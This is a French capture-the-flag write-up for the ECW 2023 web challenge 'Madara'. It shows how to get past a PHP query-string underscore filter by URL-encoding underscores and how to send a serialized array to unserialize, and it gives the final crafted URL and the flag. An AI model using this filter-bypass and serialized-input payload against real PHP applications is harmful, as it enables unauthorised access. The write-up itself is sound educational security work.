Aller au contenu

[ECW] - Madara

·2 mins· 0 · 0 ·
CTF ECW Web
JustinType
Auteur
JustinType
Ingénieur Cybersécurité et Joueur de CTF
Sommaire
ECW 2023 - Cet article fait partie d'une série.
Partie 3: Cet article

Enoncé #


Enonce

Analyse du code source #


Lorsqu’on se rend sur l’instance voici ce qu’on obtient :

Chall

Après une rapide lecture du code on voit qu’il va falloir envoyer une requête au serveur.

Pour avoir le flag il faut que la valeur de la variable unserialize(@$__)['o']['k'] soit Ă©gale Ă  'imBored' et que la valeur de la variable @__ soit Ă©gale Ă  'Madara'

Test 1ère condition #

J’envoie donc la requête suivante au serveur pour vérifier que j’ai bien compris le code :

http://instances.challenge-ecw.fr:36111/?__=Madara

Nono

Ok super, j’entre bien dans la condition if(@$__==='Madara')

Test 2ème condition #

Mais pour la deuxième variable ça se complique car si on envoie plus de 4 caractères _ (underscore) ou un seul . (point) le serveur nous enverra le message “You have used to much _” :

TooMuch1

TooMuch2

Ceci correspond au code :

$query=$_SERVER["QUERY_STRING"];
parse_str($query);
if ((substr_count($query,'_')>=4)||(substr_count($query,'.')>0)){
    die('You have used too much _');
}

On ne peut donc pas envoyer une requĂŞte du type :

http://instances.challenge-ecw.fr:36111/?__=Madara&___=valeur

Comme on passe ces paramètres dans une url il est sûrement possible de les encoder, je vais alors chercher comment encoder le caractère spécial _ (underscore) et je trouve :

Encoder

Je pourrais donc remplacer tous les caractères _ (underscore) par %5F

Construction de la requĂŞte finale #


Il ne me reste plus qu’à créer une variable sérialisée égale à imBored dans le tableau ['o']['k'], il suffit d’utiliser la fonction serialize() de php. Je vais également vérifier qu’on peut retrouver cette variable avec la fonction unserialize() qui sera utilisée par le serveur :

<?php
$array["o"]["k"] = "imBored";
$test = serialize($array);
print($test);
print("\n");
print(unserialize($test)['o']['k']);
?>

Output:
a:1:{s:1:"o";a:1:{s:1:"k";s:7:"imBored";}}
imBored

Parfait il ne reste plus qu’à encoder la requête :

http://instances.challenge-ecw.fr:36111/?__=Madara&___=a:1:{s:1:"o";a:1:{s:1:"k";s:7:"imBored";}}

Ce qui nous donne :

http://instances.challenge-ecw.fr:36111/?%5F%5F=Madara&%5F%5F%5F=a:1:{s:1:%22o%22;a:1:{s:1:%22k%22;s:7:%22imBored%22;}}

Flag #


Flag

(L’url affichée sur la capture écran n’est pas encodée car elle est décodée automatiquement par mon navigateur mais le serveur a bien reçu la requête encodée)

đźš© Flag : ECW{C3u7pdBCAfsmbp8eq5T2}

ECW 2023 - Cet article fait partie d'une série.
Partie 3: Cet article